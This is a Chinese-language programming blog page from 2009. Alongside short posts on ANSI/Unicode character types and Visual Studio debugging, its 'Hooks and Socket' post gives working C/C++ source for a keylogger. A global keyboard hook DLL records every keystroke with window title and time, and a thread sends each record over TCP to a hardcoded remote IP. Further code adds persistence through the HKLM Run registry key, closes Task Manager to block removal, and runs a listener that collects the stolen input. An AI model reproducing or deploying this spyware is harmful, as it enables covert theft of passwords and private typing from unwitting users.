ANSI字符和Unicode字符

12 10 月, 2009

C语言用char数据类型来表示一个8位ANSI字符,Microsoft的C/C++编译器定义了一个内建的数据类型wchar_t,它表示一个16位的Unicode(UTF-16)字符。

因为早期版本的Microsoft编译器没有提供这个内建的数据类型,所以编译器只有在指定了/Zc:wchar_t编译器开关时,才会定义这个数据类型。默认情况下,在VS中新建一个C++项目时,这个编译器开关是指定的。

在编译器内建对wchar_t的支持之前,有一个C头文件定义了一个wchar_t数据类型,如下所示:

typedef unsigned short wchar_t;

为了与C语言稍微有一些区分,Windows开发团队希望定义自己的数据类型。于是,他们在Windows头文件WinNT.h中定义了以下数据类型:

typedef char CHAR;

typedef wchar_t WCHAR;

除此之外,WinNT.h头文件还定义了一系列能为我们提供大量方便的数据类型,可以用它们来处理字符指针和字符串指针。根据是否定义了UNICODE宏,将TCHAR数据类型指定为WCHAR或CHAR类型。

总结:

TCHAR –> 定义了UNICODE宏 –> WCHAR –> wchar_t

TCHAR –> 未定义UNICODE宏 –> CHAR –> char

另:

C运行库针对不属于C++标准一部分的标识符,始终会为它们附加下划线前缀。因此,在C运行库使用UTF-16字符和字符串操作前,定义了_UNICODE宏。

但是,Windows团队并没有这么做。所以,在应用程序中,应确保要么同时定义了UNICODE和_UNICODE,要么一个都不要定义。默认情况下,在VS中新建一个C++项目时,这两个宏都是被定义了的。

监视“上一个错误代码”GetLastError

11 10 月, 2009

在VS中配置Watch(监视)窗口,让它始终显示线程的上一个错误代码和文本描述。

具体的做法是:在Watch窗口中选择一行,然后输入“$err,hr”。

常见的Windows函数返回值数据类型

11 10 月, 2009

常见的Windows函数返回值数据类型

用例分析

24 9 月, 2009

http://hi.baidu.com/anqing/blog/item/d5c85c60d78c04d88cb10d41.html

http://hi.baidu.com/laopin10/blog/item/a4ca59f5c4949e67dcc47479.html

一个用例的特征:

一、这件事是相对独立的。

二、这件事的执行结果对参与者来说是可观测的和有意义的。

三、这件事必须由一个参与者发起。

Hooks and Socket

13 9 月, 2009

前两天写了个监听用户键盘消息的程序,研究了下Hooks和Socket。虽然程序功能是简单的,但编写代码的过程中遇到的问题不少,解决的过程中收获也不少。

Hooks监听所有线程的消息需要编写dll,用来注入其他线程。

MyHookDLL.h

#include <windows.h>
#include <stdio.h>
#include <process.h>//线程操作
//#include <Winsock2.h>

#ifdef __cplusplus
#define EXPORT extern “C” __declspec(dllexport)
#else
#define EXPORT __declspec(dllexport)
#endif

EXPORT void SetHook();
EXPORT void ReleaseHook();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TheadProc(PVOID pvoid);

MyHookDLL.cpp

#include “MyHookDLL.h”

static HHOOK MyHook = NULL;
TCHAR szBuf[MAX_PATH+20];

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
    return TRUE;
}

EXPORT void SetHook()
{
 if(!MyHook)
  MyHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(“MyHookDLL.dll”), 0);
}

EXPORT void ReleaseHook()
{
 if(MyHook)
  UnhookWindowsHookEx(MyHook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode < 0)// do not process message
        return CallNextHookEx(MyHook, nCode, wParam, lParam);
 if(lParam & 0x80000000)//lParam第31位为0的时候,表示按键正在被按下,为1的时候,表示按键正在被释放。此处释放的时候记录。
 {
  TCHAR szKeyName[20];
  TCHAR szWindowText[MAX_PATH];
  FILE* fp = NULL;
  SYSTEMTIME systime;
  ZeroMemory(szBuf, sizeof(szBuf));
  ZeroMemory(szKeyName, sizeof(szKeyName));
  ZeroMemory(szWindowText, sizeof(szWindowText));
  ZeroMemory(&systime, sizeof(SYSTEMTIME));
  GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));//取得按键名
  if(!GetKeyState(20) && wParam != 20)//如果大小写锁定键未打开,且按键不是大小写锁定键。
   lstrcat(szKeyName, TEXT(” Caps Unlock”));
  HWND hWnd = GetActiveWindow();//GetFocus();取得活动窗口句柄
  if(!GetWindowText(hWnd, szWindowText, sizeof(szWindowText)))//取得hWnd窗口名
   lstrcpy(szWindowText, “Unkown”);
  GetLocalTime(&systime);//取得系统时间
  wsprintf(szBuf, “KEYBOARD – nCode: %d, VK: %d, KEY: %s, Window: %s, Time: %d-%d %d:%d:%d”, nCode, wParam, szKeyName, szWindowText, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond);
  if((fp = fopen(“C:\\Keyboard.txt”, “a”)) == NULL)
   fp = fopen(“C:\\Keyboard.txt”, “w”);
  if(fp)
  {
   fputs(szBuf, fp);
   fputc(‘\r’, fp);
   fputc(‘\n’, fp);
   fclose(fp);
   _beginthread(TheadProc, 0, NULL);
  }
 }
 //MessageBox(NULL, szBuf, “MyHook”, MB_OK);
    return CallNextHookEx(MyHook, nCode, wParam, lParam);
}

由于Socket阻塞运行,所以放到线程去运行比较好。

void TheadProc(PVOID pvoid)
{
 WSADATA wsaData;
 WSAStartup(MAKEWORD(2, 0), &wsaData);//初始化dll中Scoket版本为2.0的例程
 int sockfd;
 /*
 if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))//创建Socket
  //MessageBox(NULL, TEXT(“Function: socket error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
 {
  WSACleanup();
  return FALSE;
 }
 */
 sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 //配置对方地址信息
 sockaddr_in their_addr;
 ZeroMemory(&their_addr, sizeof(sockaddr_in));
 their_addr.sin_family =  AF_INET;//IP地址家族
 their_addr.sin_addr.S_un.S_addr = inet_addr(“193.168.1.103”);//IP地址
 their_addr.sin_port = htons(3000);//端口
 /*
 if(-1 == connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in)))
  //MessageBox(NULL, TEXT(“Function: connect error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
 {
  closesocket(sockfd);
  WSACleanup();
  return FALSE;
 }
 */
 connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in));
 send(sockfd, szBuf, sizeof(szBuf), 0);
 closesocket(sockfd);
 WSACleanup();
 _endthread();
}

MyHook.cpp中的主要函数

BOOL SetAutoRun(HWND hwnd) //开机自动运行
{
 //得到程序本身路径
 TCHAR sthPath[MAX_PATH];
 GetModuleFileName(NULL, sthPath, MAX_PATH);
 //MessageBox(NULL, sthPath, “path”, MB_OK); 
 TCHAR str[MAX_PATH];
 HKEY hRegKey;
 DWORD dwValue = 1;
 BOOL bResult;
 lstrcpy(str, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”);
 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, str, 0, KEY_ALL_ACCESS, &hRegKey) != ERROR_SUCCESS)
  bResult = FALSE;
 else
 {
  if(RegSetValueEx(hRegKey, str, 0, REG_SZ, (BYTE*)sthPath, strlen(sthPath) + 1) != ERROR_SUCCESS)
   bResult = FALSE;
  else
  {
   //MessageBox(NULL, “OK”, “”, MB_OK);
   bResult = TRUE;
   RegCloseKey(hRegKey);
  }
 } 
 return bResult;
}

void CALLBACK Killtaskmgr(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
 HWND hwndTasken,hwndTaskcn;
 hwndTasken=FindWindow(NULL, “Windows Task Manager”);
 hwndTaskcn=FindWindow(NULL, “Windows 任务管理器”);
 if(hwndTasken)
 {
  PostMessage(hwndTasken, WM_CLOSE, 0, 0);
  Sleep(200);
 }
 if(hwndTaskcn)
 {
  PostMessage(hwndTaskcn, WM_CLOSE, 0, 0);
  Sleep(200);
 }

以上是客户端,下面贴下服务端主要代码。

//
//   函数: Listen(PVOID)
//
//   目的: 创建监听实体
//
//   注释:
//
//        在此函数中,我们通过Socket创建监听实体,
//        并将监听到的消息显示出来。
//
void Listen(PVOID pvoid)
{
 fd_set fds;               //需要监视改变的Socket集合
 timeval timeout = {3, 0};           //异步处理延时3.0秒
 int sockOld, sockNew, iSize = sizeof(sockaddr_in);
 char szReport[512];             //接到的消息
 int y = 0;               //消息显示的初始Y值
 FILE* fp = NULL;
 WSADATA wsaData; 
 WSAStartup(MAKEWORD(2, 0), &wsaData);        //初始化dll中版本为2.0的Socket例程
 char hostname[255];             //主机名
 if(-1 == gethostname(hostname, sizeof(hostname)))
 {
  MessageBox(NULL, TEXT(“Fuction: gethostname() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
  return;
 }
 hostent* host = gethostbyname(hostname);       //获取主机IP
 TCHAR hostaddr[255]; 
 MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*((in_addr*)host->h_addr_list[1])), -1, hostaddr, 255); //字符集转换
 //显示消息
 static int cyChar;
 TEXTMETRIC tm;
 HDC hDC = GetDC((HWND)pvoid);
 GetTextMetrics(hDC, &tm);
 cyChar = tm.tmHeight + tm.tmExternalLeading;      //字符高度
 TextOut(hDC, 1, y++ * cyChar, hostaddr, lstrlen(hostaddr));
 ReleaseDC((HWND)pvoid, hDC);
 if(-1  == (sockOld = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))) //创建监听Socket
 {
  MessageBox(NULL, TEXT(“Fuction: socket() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
  WSACleanup();
  return;
 }
 sockaddr_in my_addr, their_addr;         //监听的本机地址信息和发送请求的对方地址信息
 my_addr.sin_family = AF_INET;
 my_addr.sin_addr.S_un = (*((in_addr*)host->h_addr_list[1])).S_un; //INADDR_ANY;时IP为0.0.0.0 .S_addr = inet_addr(“118.249.58.214”);
 my_addr.sin_port = htons(3000);
 memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));
 if(-1 == bind(sockOld, (sockaddr*)&my_addr, iSize))     //绑定监听Socket和监听的本机地址信息
 {
  MessageBox(NULL, TEXT(“Fuction: bind() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
  closesocket(sockOld);
  WSACleanup();
  return;
 }
 if(-1 == listen(sockOld, 1))          //监听端口,并阻塞。
 {
  MessageBox(NULL, TEXT(“Fuction: listen() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
  closesocket(sockOld);
  WSACleanup();
  return;
 }
 while(1)               //接受请求循环
 {
  //重置需监听的Socket结合,监听改变。
  FD_ZERO(&fds);
  FD_SET(sockOld, &fds);
  switch(select(0, &fds, &fds, NULL, &timeout))
  {
   case -1:
   case 0: break;
   default:
    if(FD_ISSET(sockOld, &fds))        //sockOld状态改变
    {              //新连接
     if(-1 == (sockNew = accept(sockOld, (sockaddr*)&their_addr, &iSize)))
     {
      MessageBox(NULL, TEXT(“Fuction: accept() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
      closesocket(sockOld);
      WSACleanup();
      return;
     }
     ZeroMemory(szReport, sizeof(szReport));
     recv(sockNew, szReport, sizeof(szReport), 0);
     TCHAR szBuf[512];
     ZeroMemory(szBuf, sizeof(szBuf));
     MultiByteToWideChar(CP_ACP, 0, szReport, -1, szBuf, 512); //字符集转换
     //MessageBox(NULL, szBuf, TEXT(“Report”), MB_OK);
     HDC hDC = GetDC((HWND)pvoid);
     if(y > 30)
     {
      InvalidateRect((HWND)pvoid, NULL, TRUE);
      y = 0;
     }
     TextOut(hDC, 1, y++ * cyChar, szBuf, lstrlen(szBuf));
     ReleaseDC((HWND)pvoid, hDC);
     //写文件
     if((fp = fopen(“C:\\Listen.txt”, “a”)) == NULL)
      fp = fopen(“C:\\Listen.txt”, “w”);
     if(fp)
     {
      fputs(szReport, fp);
      fputc(‘\r’, fp);
      fputc(‘\n’, fp);
      fclose(fp);   
     }
     closesocket(sockNew);
    }
  }
 }
 //关闭Socket
 closesocket(sockOld);
 WSACleanup();
}